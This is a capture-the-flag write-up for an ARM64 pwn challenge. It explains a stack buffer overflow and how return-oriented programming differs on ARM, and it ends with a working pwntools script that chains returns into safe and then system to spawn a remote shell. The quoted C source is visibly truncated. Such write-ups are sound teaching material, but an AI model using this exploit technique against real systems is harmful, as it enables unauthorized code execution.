M1 [Pwn]

5 minute read

Simple ARM64 Return-Oriented Programming (ROP).

Disclaimer: I didn’t get to finish this during the CTF because skill issues :(


Going through the program

The source code is so short I can just put everything here. (Took away setup to save space. Not important.)

#include <stdio.h>
#include <stdlib.h>

char name[0x10];

void safe(void) {
    system("echo -n 'What is your name? '");

void vuln(void) {
    char buf[0x10];
    system("echo -n 'Are you running M1? '");

int main(void) {
    system("echo -n 'Choose wisely\n1. safe\n2. vuln\n> ' ");
    unsigned int choice;
    scanf("%d%*c", &choice);
    switch (choice) {
    case 1:
    case 2:
    return 0;

So… the buffer overflow here is just screaming at your face.

Sanity check :D
Sanity check :D

It’s a very basic ROP question with no PIE, a place for you to put your own “/bin/sh” string, and system called and linked for you to return to. But I got punched in the face because it’s ARM64. (first time doing ARM)

A very brief and hand-wavey explanation to ARM ROP

The key difference between x86 and ARM is that:

  1. x86 uses the stack to store the return address and base pointer, while ARM uses lr (link register, or x30) and fp (frame pointer, or x29) registers.
  2. x86 (64 bit) uses RDI, RSI, RDX, RCX, R8, and R9 (+ the stack) for parameters, while ARM uses x0 to x7 (v0 to v7 for floating point parameters).

You might wonder for the 1st point, what happens if there is more than 1 level of function calling (e.g. A() -> B() -> C()), then the return address of the previous function call is replaced and lost. Props to you if you thought of this because it means you’re actively thinking :D

The use of registers is to minimize stack usage (slow) unless the called function (B()) performs an inner function call (C()) too. In those cases, this instruction

    stp   x29,x30,[sp, #-0x10]!

will store the contents of these two registers onto the stack. ARM loads and stores pairs of register with one instruction. 16 bytes at a time. Very cool.

So, the consequences of this change is that our ROP chain isn’t triggered upon the first return, since it returns based on the register content. But after returning, it will recover the “previous address” from the stack, and the next return will trigger the ROP chain. (If we buffer overflow and input ROP chain in C(), then it is triggered when B() returns to A())

There needs to be one more care to our ROP chain, which is to consider the local variables in the first function we return to (B()), as the stack frame will be cleared and the stack will shrink before obtaining the next “saved return address”.

Make sure to round up the padding here to be 16-byte aligned because ARM will allocate the stack frame like this.


So the solution is to call vuln and buffer overflow. After we return from main, we should jump to safe, where we write the string “/bin/sh” into name, then return to system with name as the parameter.

But the question is: How do we pass “/bin/sh” into system?

We know that we need the pointer to the string name to be in register x0. But when we use ROPgadget or ropper, we find no useful gadgets to use. However, notice that after we write our string, the register x0 is still pointing at name due to gets using it, and is not changed until we return from safe and after going into system.

This means that we can just go from safe to system without populating the parameter.

One last thing:

The addresses of safe and system are fixed since there’s no PIE.

objdump -d m1 | grep safe
  40071c: b0000093     	adrp	x19, 0x411000 <safe+0x1c>
0000000000400744 <safe>:
  40074c: 90000000     	adrp	x0, 0x400000 <safe+0x8>
  400844: 97ffffc0     	bl	0x400744 <safe>

objdump -d m1 | grep system
  4005b4: 90000090     	adrp	x16, 0x410000 <system@plt+0x4>
00000000004005f0 <system@plt>:
  400754: 97ffffa7     	bl	0x4005f0 <system@plt>
  400780: 97ffff9c     	bl	0x4005f0 <system@plt>
  400814: 97ffff77     	bl	0x4005f0 <system@plt>

Final Script

from pwn import *

DEBUG = True

safe = 0x400744
system = 0x4005f0

conn = remote("", 1234) if DEBUG else remote("", 1234)

conn.sendlineafter(b"> ", b"2")

payload = b"A" * 0x10
payload += b"B" * 8 + p64(safe+4) # put /bin/sh in `name`
payload += b"C" * 0x10            # stack frame of `main`
payload += b"B" * 8 + p64(system) # call `system` with reg x0 pointing at /bin/sh

conn.sendlineafter(b"? ", payload)

conn.sendlineafter(b"? ", b"/bin/sh\x00")